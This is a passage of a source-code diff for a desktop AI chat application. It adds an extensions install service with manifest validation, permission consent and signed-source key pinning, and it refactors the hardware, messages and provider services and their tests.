unsupported()+ }++ setSafeMode(): Promise<void> {+ return unsupported()+ }++ addSource(): Promise<IndexSource> {+ return unsupported()+ }++ removeSource(): Promise<void> {+ return unsupported()+ }++ getCatalog(): Promise<Catalog> {+ return unsupported()+ }++ acceptNextKey(): Promise<IndexSource> {+ return unsupported()+ }+}diff --git a/web-app/src/services/extensions/tauri.ts b/web-app/src/services/extensions/tauri.tsnew file mode 100644index 000000000..3a35c057c--- /dev/null+++ b/web-app/src/services/extensions/tauri.ts@@ -0,0 +1,172 @@+/**+ * Tauri Extensions Service - the install pipeline of the desktop app,+ * through the guest-js of tauri-plugin-extensions.+ */++import { validateManifest } from '@janhq/extension-api'+import * as plugin from '@janhq/tauri-plugin-extensions-api'+import {+ errorText,+ installedManifest,+ toPermissions,+} from '@/lib/extensions/installed-loader'+import type {+ Catalog,+ ExtensionsService,+ IndexSource,+ InstalledExtension,+ ListResult,+ SourceList,+ StagedInstall,+} from './types'++/**+ * Narrows a stage to what this host accepts. Rust validated the manifest+ * already; the TS rules are the host's, so a package they refuse is+ * discarded rather than offered for consent.+ */+async function toStaged(staged: plugin.StagedInstall): Promise<StagedInstall> {+ const result = validateManifest(staged.manifest)+ if (!result.ok) {+ await plugin.discardStage(staged.stageId).catch(() => undefined)+ throw new Error(+ result.errors.map((e) => `${e.path}: ${e.message}`).join('; ')+ )+ }+ const { existing, permissionDiff, ...rest } = staged+ return {+ ...rest,+ manifest: result.manifest,+ ...(existing+ ? {+ existing: {+ version: existing.version,+ granted: toPermissions(existing.granted),+ installedFrom: {+ source: existing.source,+ verified: existing.verified,+ },+ },+ }+ : {}),+ permissionDiff: {+ added: toPermissions(permissionDiff.added),+ removed: toPermissions(permissionDiff.removed),+ },+ }+}++function toInstalled(+ entry: plugin.InstalledExtension+): InstalledExtension | undefined {+ const checked = installedManifest(entry)+ if (!checked.ok) {+ console.error(`Installed extension '${entry.id}' is invalid:`, checked.error)+ return undefined+ }+ return {+ ...entry,+ manifest: checked.manifest,+ granted: toPermissions(entry.granted),+ permissions: toPermissions(entry.permissions),+ }+}++function requireInstalled(entry: plugin.InstalledExtension): InstalledExtension {+ const installed = toInstalled(entry)+ if (!installed)+ throw new Error(`Installed extension '${entry.id}' has an invalid manifest`)+ return installed+}++/** Plugin rejections are `{ kind, message }`; the page shows `message`. */+async function call<T>(run: () => Promise<T>): Promise<T> {+ try {+ return await run()+ } catch (error) {+ throw new Error(errorText(error))+ }+}++export class TauriExtensionsService implements ExtensionsService {+ isSupported(): boolean {+ return true+ }++ stageBundle(path: string): Promise<StagedInstall> {+ return call(async () => toStaged(await plugin.stageBundle(path)))+ }++ stageFromIndex(+ sourceId: string,+ id: string,+ version: string+ ): Promise<StagedInstall> {+ return call(async () =>+ toStaged(await plugin.stageFromIndex(sourceId, id, version))+ )+ }++ confirmInstall(+ stageId: string,+ granted: string[]+ ): Promise<InstalledExtension> {+ return call(async () =>+ requireInstalled(await plugin.confirmInstall(stageId, granted))+ )+ }++ discardStage(stageId: string): Promise<void> {+ return call(() => plugin.discardStage(stageId))+ }++ list(): Promise<ListResult> {+ return call(async () => {+ const listed = await plugin.list()+ return {+ ...listed,+ extensions: listed.extensions.flatMap((e) => toInstalled(e) ?? []),+ }+ })+ }++ setEnabled(id: string, enabled: boolean): Promise<void> {+ return call(() => plugin.setEnabled(id, enabled))+ }++ setGrants(id: string, granted: string[]): Promise<void> {+ return call(() => plugin.setGrants(id, granted))+ }++ uninstall(id: string): Promise<void> {+ return call(() => plugin.uninstall(id))+ }++ rollback(id: string): Promise<InstalledExtension> {+ return call(async () => requireInstalled(await plugin.rollback(id)))+ }++ setSafeMode(on: boolean): Promise<void> {+ return call(() => plugin.setSafeMode(on))+ }++ listSources(): Promise<SourceList> {+ return call(() => plugin.listSources())+ }++ addSource(url: string, name: string, publicKey?: string): Promise<IndexSource> {+ return call(() => plugin.addSource(url, name, publicKey))+ }++ removeSource(id: string): Promise<void> {+ return call(() => plugin.removeSource(id))+ }++ getCatalog(sourceId: string): Promise<Catalog> {+ return call(() => plugin.getCatalog(sourceId))+ }++ acceptNextKey(sourceId: string, nextPublicKey: string): Promise<IndexSource> {+ return call(() => plugin.acceptNextKey(sourceId, nextPublicKey))+ }+}diff --git a/web-app/src/services/extensions/types.ts b/web-app/src/services/extensions/types.tsnew file mode 100644index 000000000..e2d0b17a8--- /dev/null+++ b/web-app/src/services/extensions/types.ts@@ -0,0 +1,131 @@+/**+ * Extensions Service Types+ *+ * The install pipeline of runtime extensions: staging a bundle or an index+ * entry, consenting to its permissions, and managing what is installed and+ * where it can be installed from. The shapes are the ones the guest-js of+ * tauri-plugin-extensions returns; only the manifest and the permission+ * lists are narrowed, to what this host validated.+ */++import type {+ PermissionString,+ ValidatedManifest,+} from '@janhq/extension-api'+import type * as Plugin from '@janhq/tauri-plugin-extensions-api'+import type {+ Catalog,+ ExtensionSource,+ IndexSourceEntry as IndexSource,+ SourceList,+} from '@janhq/tauri-plugin-extensions-api'++export type {+ Catalog,+ CuratedIndex,+ IndexExtension,+ IndexVersion,+ IndexSourceEntry as IndexSource,+ ExtensionSource as InstallSource,+ RemovedPin,+ SourceList,+ SourcesNotice,+} from '@janhq/tauri-plugin-extensions-api'++/** What an update asks for beyond, and no longer needs from, the old grants. */+export interface PermissionDiff {+ added: PermissionString[]+ removed: PermissionString[]+}++/** The installed version a staged update would replace. */+export interface ExistingInstall {+ version: string+ granted: PermissionString[]+ /**+ * Where the installed version came from, so an update from another+ * source (or an unsigned one) can say so.+ */+ installedFrom: {+ source: ExtensionSource+ verified: boolean+ }+}++/**+ * A bundle extracted to staging and waiting for consent. Nothing runs and+ * nothing is registered until `confirmInstall`; `discardStage` drops it.+ * `verified` is true only for an entry of a source with a pinned key whose+ * index signature verified, so a file picked from disk or an entry of an+ * unsigned source never is; both need the user's explicit trust.+ */+export type StagedInstall = Omit<+ Plugin.StagedInstall,+ 'manifest' | 'existing' | 'permissionDiff'+> & {+ /** The package's manifest, validated against this app's API version. */+ manifest: ValidatedManifest+ /** Present when this is an update of an installed extension. */+ existing?: ExistingInstall+ permissionDiff: PermissionDiff+}++/** One entry of `<jan_data>/extensions/extensions.json`. */+export type InstalledExtension = Omit<+ Plugin.InstalledExtension,+ 'manifest' | 'granted' | 'permissions'+> & {+ /** The manifest of the active version (`version`). */+ manifest: ValidatedManifest+ /** What the user granted; a subset of `permissions`. */+ granted: PermissionString[]+ /** What the active version requests. */+ permissions: PermissionString[]+}++/** The registry; when `safeMode` is on, no installed extension is loaded. */+export type ListResult = Omit<Plugin.ListResult, 'extensions'> & {+ extensions: InstalledExtension[]+}++export interface ExtensionsService {+ /** False where there is no install pipeline (web, mobile). */+ isSupported(): boolean+ /** Copies, hashes and extracts a `.tgz` from disk. Never verified. */+ stageBundle(path: string): Promise<StagedInstall>+ /** Downloads `id@version` from a source and checks its pinned integrity. */+ stageFromIndex(+ sourceId: string,+ id: string,+ version: string+ ): Promise<StagedInstall>+ /** `granted` must hold every permission the manifest requests. */+ confirmInstall(+ stageId: string,+ granted: PermissionString[]+ ): Promise<InstalledExtension>+ discardStage(stageId: string): Promise<void>+ list(): Promise<ListResult>+ setEnabled(id: string, enabled: boolean): Promise<void>+ /** Revokes: `granted` may only drop permissions. */+ setGrants(id: string, granted: PermissionString[]): Promise<void>+ uninstall(id: string): Promise<void>+ /** Swaps the active and previous versions. */+ rollback(id: string): Promise<InstalledExtension>+ setSafeMode(on: boolean): Promise<void>+ /** The sources, removed pins, and what a store repair dropped. */+ listSources(): Promise<SourceList>+ addSource(+ url: string,+ name: string,+ publicKey?: string+ ): Promise<IndexSource>+ removeSource(id: string): Promise<void>+ /** The index of a source; a keyed source's signature must verify. */+ getCatalog(sourceId: string): Promise<Catalog>+ /**+ * Re-pins a source's key to the `nextPublicKey` its signed index offers.+ * Only after the user confirmed the rotation.+ */+ acceptNextKey(sourceId: string, nextPublicKey: string): Promise<IndexSource>+}diff --git a/web-app/src/services/hardware/__tests__/tauri.coverage.test.ts b/web-app/src/services/hardware/__tests__/tauri.coverage.test.tsindex d35cedff6..3d377440d 100644--- a/web-app/src/services/hardware/__tests__/tauri.coverage.test.ts+++ b/web-app/src/services/hardware/__tests__/tauri.coverage.test.ts@@ -1,22 +1,15 @@import { describe, it, expect, vi, beforeEach } from 'vitest'+import { ServiceKeys } from '@janhq/core'import { TauriHardwareService } from '../tauri'-vi.mock('@tauri-apps/api/core', () => ({- invoke: vi.fn(),+vi.mock('@janhq/tauri-plugin-hardware-api', () => ({+ refreshSystemInfo: vi.fn(),}))-const mockGetDevices = vi.fn()--Object.defineProperty(globalThis, 'window', {- value: {- core: {- extensionManager: {- getByName: vi.fn(),- },- },- },- writable: true,-})+const h = vi.hoisted(() => ({ get: vi.fn() }))+vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => ({ services: { get: h.get } }),+}))describe('TauriHardwareService – coverage', () => {let svc: TauriHardwareService@@ -27,23 +20,18 @@ describe('TauriHardwareService – coverage', () => {})describe('getLlamacppDevices', () => {- it('returns devices from llamacpp extension', async () => {+ it('returns devices from the llamacpp service', async () => {const devices = [{ id: 0, name: 'GPU 0' }]- mockGetDevices.mockResolvedValue(devices)- vi.mocked(window.core.extensionManager.getByName).mockReturnValue({- getDevices: mockGetDevices,- })+ h.get.mockReturnValue({ getDevices: vi.fn().mockResolvedValue(devices) })const result = await svc.getLlamacppDevices()- expect(window.core.extensionManager.getByName).toHaveBeenCalledWith(- '@janhq/llamacpp-extension'- )+ expect(h.get).toHaveBeenCalledWith(ServiceKeys.Llamacpp)expect(result).toEqual(devices)})- it('throws when llamacpp extension not found', async () => {- vi.mocked(window.core.extensionManager.getByName).mockReturnValue(undefined)+ it('throws when the llamacpp service is not provided', async () => {+ h.get.mockReturnValue(undefined)await expect(svc.getLlamacppDevices()).rejects.toThrow('llamacpp extension not found'@@ -52,35 +40,28 @@ describe('TauriHardwareService – coverage', () => {})describe('reconcileLlamacppDevices', () => {- it('asks the llamacpp extension to reconcile and returns its answer', async () => {+ it('asks the llamacpp service to reconcile and returns its answer', async () => {const reconcileEngineDevices = vi.fn().mockResolvedValue('restarted')- vi.mocked(window.core.extensionManager.getByName).mockReturnValue({- reconcileEngineDevices,- })+ h.get.mockReturnValue({ reconcileEngineDevices })await expect(svc.reconcileLlamacppDevices()).resolves.toBe('restarted')- expect(window.core.extensionManager.getByName).toHaveBeenCalledWith(- '@janhq/llamacpp-extension'- )+ expect(h.get).toHaveBeenCalledWith(ServiceKeys.Llamacpp)})- it('is unchanged when the extension is absent or too old to reconcile', async () => {- vi.mocked(window.core.extensionManager.getByName).mockReturnValue(undefined)- await expect(svc.reconcileLlamacppDevices()).resolves.toBe('unchanged')-- vi.mocked(window.core.extensionManager.getByName).mockReturnValue({})+ it('is unchanged when the service is absent', async () => {+ h.get.mockReturnValue(undefined)await expect(svc.reconcileLlamacppDevices()).resolves.toBe('unchanged')})})describe('refreshHardwareInfo', () => {- it('invokes plugin:hardware|refresh_system_info', async () => {- const { invoke } = await import('@tauri-apps/api/core')- vi.mocked(invoke).mockResolvedValue(undefined)+ it('drops the cached detection through the hardware plugin', async () => {+ const { refreshSystemInfo } = await import('@janhq/tauri-plugin-hardware-api')+ vi.mocked(refreshSystemInfo).mockResolvedValue(undefined)await svc.refreshHardwareInfo()- expect(invoke).toHaveBeenCalledWith('plugin:hardware|refresh_system_info')+ expect(refreshSystemInfo).toHaveBeenCalled()})})})diff --git a/web-app/src/services/hardware/tauri.ts b/web-app/src/services/hardware/tauri.tsindex 322251357..c15b3e7d3 100644--- a/web-app/src/services/hardware/tauri.ts+++ b/web-app/src/services/hardware/tauri.ts@@ -2,36 +2,40 @@* Tauri Hardware Service - Desktop implementation*/-import { invoke } from '@tauri-apps/api/core'+import {+ getSystemInfo,+ getSystemUsage,+ refreshSystemInfo,+} from '@janhq/tauri-plugin-hardware-api'+import { ServiceKeys } from '@janhq/core'+import { getExtensionHost } from '@/lib/extensions/host'import type { HardwareData, SystemUsage, DeviceList } from './types'import { DefaultHardwareService } from './default'export class TauriHardwareService extends DefaultHardwareService {async getHardwareInfo(): Promise<HardwareData | null> {- return invoke('plugin:hardware|get_system_info') as Promise<HardwareData>+ const info = await getSystemInfo()+ // The plugin reports static facts only; `usage` is the app's live reading,+ // filled in later from getSystemUsage().+ return { ...info, cpu: { ...info.cpu, usage: 0 } }}async getSystemUsage(): Promise<SystemUsage | null> {- return invoke('plugin:hardware|get_system_usage') as Promise<SystemUsage>+ return getSystemUsage()}async getLlamacppDevices(): Promise<DeviceList[]> {- const extensionManager = window.core.extensionManager- const llamacppExtension = extensionManager.getByName('@janhq/llamacpp-extension')-- if (!llamacppExtension) {+ const llamacpp = getExtensionHost().services.get(ServiceKeys.Llamacpp)+ if (!llamacpp) {throw new Error('llamacpp extension not found')}-- return llamacppExtension.getDevices()+ return llamacpp.getDevices()}async reconcileLlamacppDevices(): Promise<'unchanged' | 'restarted' | 'busy'> {- const llamacppExtension = window.core.extensionManager.getByName(- '@janhq/llamacpp-extension'- )- if (!llamacppExtension?.reconcileEngineDevices) return 'unchanged'- return llamacppExtension.reconcileEngineDevices()+ const llamacpp = getExtensionHost().services.get(ServiceKeys.Llamacpp)+ if (!llamacpp) return 'unchanged'+ return llamacpp.reconcileEngineDevices()}async setActiveGpus(data: { gpus: number[] }): Promise<void> {@@ -40,6 +44,6 @@ export class TauriHardwareService extends DefaultHardwareService {}async refreshHardwareInfo(): Promise<void> {- await invoke('plugin:hardware|refresh_system_info')+ await refreshSystemInfo()}}diff --git a/web-app/src/services/hardware/types.ts b/web-app/src/services/hardware/types.tsindex c3e3c14ec..98fa579a8 100644--- a/web-app/src/services/hardware/types.ts+++ b/web-app/src/services/hardware/types.ts@@ -10,7 +10,6 @@ export interface DeviceList {name: stringmem: numberfree: number- activated: boolean}export interface HardwareService {diff --git a/web-app/src/services/index.ts b/web-app/src/services/index.tsindex 99311dccc..cabb024a0 100644--- a/web-app/src/services/index.ts+++ b/web-app/src/services/index.ts@@ -31,6 +31,8 @@ import { DefaultRAGService } from './rag/default'import type { RAGService } from './rag/types'import { DefaultUploadsService } from './uploads/default'import type { UploadsService } from './uploads/types'+import { DefaultExtensionsService } from './extensions/default'+import type { ExtensionsService } from './extensions/types'// Import service typesimport type { ThemeService } from './theme/types'@@ -76,6 +78,7 @@ export interface ServiceHub {projects(): ProjectsServicerag(): RAGServiceuploads(): UploadsService+ extensions(): ExtensionsService}class PlatformServiceHub implements ServiceHub {@@ -100,6 +103,8 @@ class PlatformServiceHub implements ServiceHub {private projectsService: ProjectsService = new DefaultProjectsService()private ragService: RAGService = new DefaultRAGService()private uploadsService: UploadsService = new DefaultUploadsService()+ // The install pipeline is desktop only (tauri-plugin-extensions).+ private extensionsService: ExtensionsService = new DefaultExtensionsService()private initialized = false/**@@ -132,6 +137,7 @@ class PlatformServiceHub implements ServiceHub {pathModule,coreModule,deepLinkModule,+ extensionsModule,] = await Promise.all([import('./theme/tauri'),import('./window/tauri'),@@ -146,6 +152,7 @@ class PlatformServiceHub implements ServiceHub {import('./path/tauri'),import('./core/tauri'),import('./deeplink/tauri'),+ import('./extensions/tauri'),])this.themeService = new themeModule.TauriThemeService()@@ -161,6 +168,7 @@ class PlatformServiceHub implements ServiceHub {this.pathService = new pathModule.TauriPathService()this.coreService = new coreModule.TauriCoreService()this.deepLinkService = new deepLinkModule.TauriDeepLinkService()+ this.extensionsService = new extensionsModule.TauriExtensionsService()} else if (isPlatformIOS() || isPlatformAndroid()) {const [themeModule,@@ -184,7 +192,7 @@ class PlatformServiceHub implements ServiceHub {import('./dialog/tauri'),import('./opener/tauri'),import('./path/tauri'),- import('./core/mobile'), // Use mobile-specific core service+ import('./core/tauri'),import('./deeplink/tauri'),])@@ -197,7 +205,7 @@ class PlatformServiceHub implements ServiceHub {this.dialogService = new dialogModule.TauriDialogService()this.openerService = new openerModule.TauriOpenerService()this.pathService = new pathModule.TauriPathService()- this.coreService = new coreModule.MobileCoreService() // Mobile service with pre-loaded extensions+ this.coreService = new coreModule.TauriCoreService()this.deepLinkService = new deepLinkModule.TauriDeepLinkService()}@@ -323,6 +331,11 @@ class PlatformServiceHub implements ServiceHub {this.ensureInitialized()return this.uploadsService}++ extensions(): ExtensionsService {+ this.ensureInitialized()+ return this.extensionsService+ }}export async function initializeServiceHub(): Promise<ServiceHub> {diff --git a/web-app/src/services/messages/__tests__/default.test.ts b/web-app/src/services/messages/__tests__/default.test.tsindex 2c7540597..9d7cdff28 100644--- a/web-app/src/services/messages/__tests__/default.test.ts+++ b/web-app/src/services/messages/__tests__/default.test.ts@@ -1,4 +1,4 @@-import { describe, it, expect, vi, beforeEach } from 'vitest'+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'import { DefaultMessagesService } from '../default'const mockListMessages = vi.fn()@@ -6,36 +6,29 @@ const mockCreateMessage = vi.fn()const mockModifyMessage = vi.fn()const mockDeleteMessage = vi.fn()-const mockExtension = {+const api = {listMessages: mockListMessages,createMessage: mockCreateMessage,modifyMessage: mockModifyMessage,deleteMessage: mockDeleteMessage,}-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: () => ({- get: () => mockExtension,- }),- },-}))--vi.mock('@janhq/core', () => ({- ConversationalExtension: class {},- ExtensionTypeEnum: { Conversational: 'conversational' },-}))-vi.mock('@/constants/chat', () => ({TEMPORARY_CHAT_ID: 'temporary-chat',}))describe('DefaultMessagesService', () => {let svc: DefaultMessagesService+ const originalCore = window.corebeforeEach(() => {svc = new DefaultMessagesService()vi.clearAllMocks()+ window.core = { api } as unknown as typeof window.core+ })++ afterEach(() => {+ window.core = originalCore})describe('fetchMessages', () => {@@ -45,13 +38,13 @@ describe('DefaultMessagesService', () => {expect(mockListMessages).not.toHaveBeenCalled()})- it('fetches messages from extension for real thread', async () => {+ it('fetches messages from the backend for real thread', async () => {mockListMessages.mockResolvedValue([{ id: 'msg1' }])const result = await svc.fetchMessages('thread-1')expect(result).toEqual([{ id: 'msg1' }])})- it('returns empty array on extension error', async () => {+ it('returns empty array on backend error', async () => {mockListMessages.mockRejectedValue(new Error('fail'))const result = await svc.fetchMessages('thread-1')expect(result).toEqual([])@@ -59,21 +52,21 @@ describe('DefaultMessagesService', () => {})describe('createMessage', () => {- it('returns message without calling extension for temporary chat', async () => {+ it('returns message without calling the backend for temporary chat', async () => {const msg = { thread_id: 'temporary-chat', id: 'msg1' } as anyconst result = await svc.createMessage(msg)expect(result).toBe(msg)expect(mockCreateMessage).not.toHaveBeenCalled()})- it('creates message via extension for real thread', async () => {+ it('creates message via the backend for real thread', async () => {const msg = { thread_id: 'thread-1', id: 'msg1' } as anymockCreateMessage.mockResolvedValue({ ...msg, created: true })const result = await svc.createMessage(msg)expect(result).toEqual({ ...msg, created: true })})- it('returns original message on extension error', async () => {+ it('returns original message on backend error', async () => {const msg = { thread_id: 'thread-1', id: 'msg1' } as anymockCreateMessage.mockRejectedValue(new Error('fail'))const result = await svc.createMessage(msg)@@ -82,21 +75,21 @@ describe('DefaultMessagesService', () => {})describe('modifyMessage', () => {- it('returns message without calling extension for temporary chat', async () => {+ it('returns message without calling the backend for temporary chat', async () => {const msg = { thread_id: 'temporary-chat', id: 'msg1' } as anyconst result = await svc.modifyMessage(msg)expect(result).toBe(msg)expect(mockModifyMessage).not.toHaveBeenCalled()})- it('modifies message via extension for real thread', async () => {+ it('modifies message via the backend for real thread', async () => {const msg = { thread_id: 'thread-1', id: 'msg1' } as anymockModifyMessage.mockResolvedValue({ ...msg, modified: true })const result = await svc.modifyMessage(msg)expect(result).toEqual({ ...msg, modified: true })})- it('returns original message on extension error', async () => {+ it('returns original message on backend error', async () => {const msg = { thread_id: 'thread-1', id: 'msg1' } as anymockModifyMessage.mockRejectedValue(new Error('fail'))const result = await svc.modifyMessage(msg)@@ -105,15 +98,18 @@ describe('DefaultMessagesService', () => {})describe('deleteMessage', () => {- it('returns without calling extension for temporary chat', async () => {+ it('returns without calling the backend for temporary chat', async () => {await svc.deleteMessage('temporary-chat', 'msg1')expect(mockDeleteMessage).not.toHaveBeenCalled()})- it('deletes message via extension for real thread', async () => {+ it('deletes message via the backend for real thread', async () => {mockDeleteMessage.mockResolvedValue(undefined)await svc.deleteMessage('thread-1', 'msg1')- expect(mockDeleteMessage).toHaveBeenCalledWith('thread-1', 'msg1')+ expect(mockDeleteMessage).toHaveBeenCalledWith({+ threadId: 'thread-1',+ messageId: 'msg1',+ })})})})diff --git a/web-app/src/services/messages/default.ts b/web-app/src/services/messages/default.tsindex 6e7b8f535..e0795e626 100644--- a/web-app/src/services/messages/default.ts+++ b/web-app/src/services/messages/default.ts@@ -2,28 +2,24 @@* Default Messages Service - Web implementation*/-import { ExtensionManager } from '@/lib/extension'-import {- ConversationalExtension,- ExtensionTypeEnum,- ThreadMessage,-} from '@janhq/core'+import type { ThreadMessage } from '@janhq/core'+import { Emitter } from '@janhq/extension-api'import { TEMPORARY_CHAT_ID } from '@/constants/chat'import type { MessagesService } from './types'export class DefaultMessagesService implements MessagesService {+ private readonly created = new Emitter<ThreadMessage>()+ readonly onDidCreateMessage = this.created.event+async fetchMessages(threadId: string): Promise<ThreadMessage[]> {// Don't fetch messages from server for temporary chat - it's local onlyif (threadId === TEMPORARY_CHAT_ID) {return []}- return (- ExtensionManager.getInstance()- .get<ConversationalExtension>(ExtensionTypeEnum.Conversational)- ?.listMessages(threadId)- ?.catch(() => []) ?? []- )+ const messages: Promise<ThreadMessage[] | null> | undefined =+ window.core?.api?.listMessages({ threadId })+ return messages?.then((list) => list ?? []).catch(() => []) ?? []}async createMessage(message: ThreadMessage): Promise<ThreadMessage> {@@ -32,11 +28,17 @@ export class DefaultMessagesService implements MessagesService {return message}+ // The web build's routes resolve null: nothing was persisted.+ const created: Promise<ThreadMessage | null> | undefined =+ window.core?.api?.createMessage({ message })return (- ExtensionManager.getInstance()- .get<ConversationalExtension>(ExtensionTypeEnum.Conversational)- ?.createMessage(message)- ?.catch(() => message) ?? message+ created+ ?.then((persisted) => {+ if (!persisted) return message+ this.created.fire(persisted)+ return persisted+ })+ .catch(() => message) ?? message)}@@ -46,11 +48,11 @@ export class DefaultMessagesService implements MessagesService {return message}+ const modified: Promise<ThreadMessage | null> | undefined =+ window.core?.api?.modifyMessage({ message })return (- ExtensionManager.getInstance()- .get<ConversationalExtension>(ExtensionTypeEnum.Conversational)- ?.modifyMessage(message)- ?.catch(() => message) ?? message+ modified?.then((persisted) => persisted ?? message).catch(() => message) ??+ message)}@@ -60,8 +62,6 @@ export class DefaultMessagesService implements MessagesService {return}- await ExtensionManager.getInstance()- .get<ConversationalExtension>(ExtensionTypeEnum.Conversational)- ?.deleteMessage(threadId, messageId)+ await window.core?.api?.deleteMessage({ threadId, messageId })}}diff --git a/web-app/src/services/messages/types.ts b/web-app/src/services/messages/types.tsindex 090b69904..1eb0538cb 100644--- a/web-app/src/services/messages/types.ts+++ b/web-app/src/services/messages/types.ts@@ -3,8 +3,11 @@*/import { ThreadMessage } from '@janhq/core'+import type { Event } from '@janhq/extension-api'export interface MessagesService {+ /** Fires once per message the backend persisted through `createMessage`. */+ readonly onDidCreateMessage: Event<ThreadMessage>fetchMessages(threadId: string): Promise<ThreadMessage[]>createMessage(message: ThreadMessage): Promise<ThreadMessage>modifyMessage(message: ThreadMessage): Promise<ThreadMessage>diff --git a/web-app/src/services/providers/__tests__/tauri.test.ts b/web-app/src/services/providers/__tests__/tauri.test.tsindex e09eadfe6..5bfdc9ab9 100644--- a/web-app/src/services/providers/__tests__/tauri.test.ts+++ b/web-app/src/services/providers/__tests__/tauri.test.ts@@ -56,12 +56,6 @@ vi.mock('@/lib/predefined', () => ({},}))-vi.mock('@/lib/extension', () => ({- ExtensionManager: {- getInstance: vi.fn(),- },-}))-vi.mock('@/lib/models', () => ({getModelCapabilities: vi.fn().mockReturnValue([]),}))@@ -71,6 +65,11 @@ vi.mock('@/lib/provider-api-keys', () => ({API_KEY_FALLBACKS_SETTING_KEY: 'api-key-fallbacks',}))+const hostMock = vi.hoisted(() => ({ providerFetch: vi.fn() }))+vi.mock('@/lib/extensions/host', () => ({+ getExtensionHost: () => hostMock,+}))+const platform = vi.hoisted(() => ({ mac: false }))vi.mock('@/lib/shortcuts/platform', () => ({get isMac() {@@ -81,7 +80,6 @@ vi.mock('@/lib/shortcuts/platform', () => ({import { fetch as fetchTauri } from '@tauri-apps/plugin-http'import { invoke } from '@tauri-apps/api/core'import { EngineManager } from '@janhq/core'-import { ExtensionManager } from '@/lib/extension'import { providerRemoteApiKeyChain } from '@/lib/provider-api-keys'import { TauriProvidersService } from '../tauri'import { ProviderUnreachableError } from '@/lib/provider-unreachable'@@ -232,6 +230,43 @@ describe('TauriProvidersService', () => {active: false,} as any+ it("lists an extension provider's models only through its extension's fetch", async () => {+ const extensionFetch = vi.fn(+ async () =>+ new Response(JSON.stringify({ data: [{ id: 'hello-1' }] }), {+ status: 200,+ })+ )+ hostMock.providerFetch.mockReturnValue(extensionFetch)+ await expect(+ svc.fetchModelsFromProvider({+ ...baseProvider,+ base_url: 'http://127.0.0.1:11999/v1',+ source: { extensionId: 'acme.hello' },+ })+ ).resolves.toEqual(['hello-1'])+ expect(hostMock.providerFetch).toHaveBeenCalledWith('acme.hello', 'whole')+ expect(extensionFetch).toHaveBeenCalledWith(+ 'http://127.0.0.1:11999/v1/models',+ expect.objectContaining({ method: 'GET' })+ )+ // It does not present itself as the app to a local server.+ const init = extensionFetch.mock.calls[0] as unknown as [string, RequestInit]+ expect(init[1].headers).not.toHaveProperty('Origin')+ expect(fetchTauri).not.toHaveBeenCalled()+ })++ it('refuses an extension provider whose extension has no network path', async () => {+ hostMock.providerFetch.mockReturnValue(undefined)+ await expect(+ svc.fetchModelsFromProvider({+ ...baseProvider,+ source: { extensionId: 'acme.dev' },+ })+ ).rejects.toThrow()+ expect(fetchTauri).not.toHaveBeenCalled()+ })+it('throws if no base_url', async () => {await expect(svc.fetchModelsFromProvider({ ...baseProvider, base_url: '' })).rejects.toThrow('Provider must have base_url configured')@@ -574,8 +609,8 @@ describe('TauriProvidersService', () => {describe('updateSettings', () => {it('delegates to engine updateSettings', async () => {const mockUpdate = vi.fn()- vi.mocked(ExtensionManager.getInstance).mockReturnValue({- getEngine: vi.fn().mockReturnValue({ updateSettings: mockUpdate }),+ vi.mocked(EngineManager.instance).mockReturnValue({+ get: vi.fn().mockReturnValue({ updateSettings: mockUpdate }),} as any)await svc.updateSettings('test', [@@ -593,8 +628,8 @@ describe('TauriProvidersService', () => {it('defaults value to empty string when undefined', async () => {const mockUpdate = vi.fn()- vi.mocked(ExtensionManager.getInstance).mockReturnValue({- getEngine: vi.fn().mockReturnValue({ updateSettings: mockUpdate }),+ vi.mocked(EngineManager.instance).mockReturnValue({+ get: vi.fn().mockReturnValue({ updateSettings: mockUpdate }),} as any)await svc.updateSettings('test', [@@ -610,8 +645,8 @@ describe('TauriProvidersService', () => {it('blanks api-key and api-key-fallbacks so keys never reach settings.json', async () => {const mockUpdate = vi.fn()- vi.mocked(ExtensionManager.getInstance).mockReturnValue({- getEngine: vi.fn().mockReturnValue({ updateSettings: mockUpdate }),+ vi.mocked(EngineManager.instance).mockReturnValue({+ get: vi.fn().mockReturnValue({ updateSettings: mockUpdate }),} as any)await svc.updateSettings('openai', [@@ -627,8 +662,8 @@ describe('TauriProvidersService', () => {})it('rethrows on error', async () => {- vi.mocked(ExtensionManager.getInstance).mockReturnValue({- getEngine: vi.fn().mockReturnValue({+ vi.mocked(EngineManager.instance).mockReturnValue({+ get: vi.fn().mockReturnValue({updateSettings: vi.fn().mockRejectedValue(new Error('fail')),}),} as any)diff --git a/web-app/src/services/providers/tauri.ts b/web-app/src/services/providers/tauri.tsindex d6ecd9f02..20c928455 100644--- a/web-app/src/services/providers/tauri.ts+++ b/web-app/src/services/providers/tauri.ts@@ -7,7 +7,6 @@ import { providerModels } from '@/constants/models'import { EngineManager, SettingComponentProps } from '@janhq/core'import { ModelCapabilities } from '@/types/models'import { MLX_DEFAULT_CTX_LEN, modelSettings } from '@/lib/predefined'-import { ExtensionManager } from '@/lib/extension'import { fetch as fetchTauri } from '@tauri-apps/plugin-http'import { invoke } from '@tauri-apps/api/core'import { DefaultProvidersService } from './default'@@ -18,6 +17,7 @@ import {} from '@/lib/provider-api-keys'import { ensureAnthropicHeaders } from '@/lib/remoteModelCatalog'import { toProviderUnreachable } from '@/lib/provider-unreachable'+import { extensionProviderFetch } from '@/lib/extensions/providers'export class TauriProvidersService extends DefaultProvidersService {fetch(): typeof fetch {@@ -154,6 +154,10 @@ export class TauriProvidersService extends DefaultProvidersService {}try {+ // A contributed provider is reached only on its extension's checked+ // network path, and never presents itself as the app.+ const extensionFetch = extensionProviderFetch(provider, 'whole')+ const fetchImpl: typeof globalThis.fetch = extensionFetch ?? fetchTauriconst keyChain = providerRemoteApiKeyChain(provider)const keyAttempts: (string | undefined)[] =keyChain.length > 0 ? keyChain : [undefined]@@ -168,8 +172,9 @@ export class TauriProvidersService extends DefaultProvidersService {}if (- provider.base_url.includes('localhost:') ||- provider.base_url.includes('127.0.0.1:')+ !extensionFetch &&+ (provider.base_url.includes('localhost:') ||+ provider.base_url.includes('127.0.0.1:'))) {headers['Origin'] = 'tauri://localhost'}@@ -187,7 +192,7 @@ export class TauriProvidersService extends DefaultProvidersService {ensureAnthropicHeaders(provider, headers)- const response = await fetchTauri(`${provider.base_url}/models`, {+ const response = await fetchImpl(`${provider.base_url}/models`, {method: 'GET',headers,})@@ -306,8 +311,8 @@ export class TauriProvidersService extends DefaultProvidersService {// Blank the key entries at this single chokepoint regardless of caller.const isSecretKey = (key: 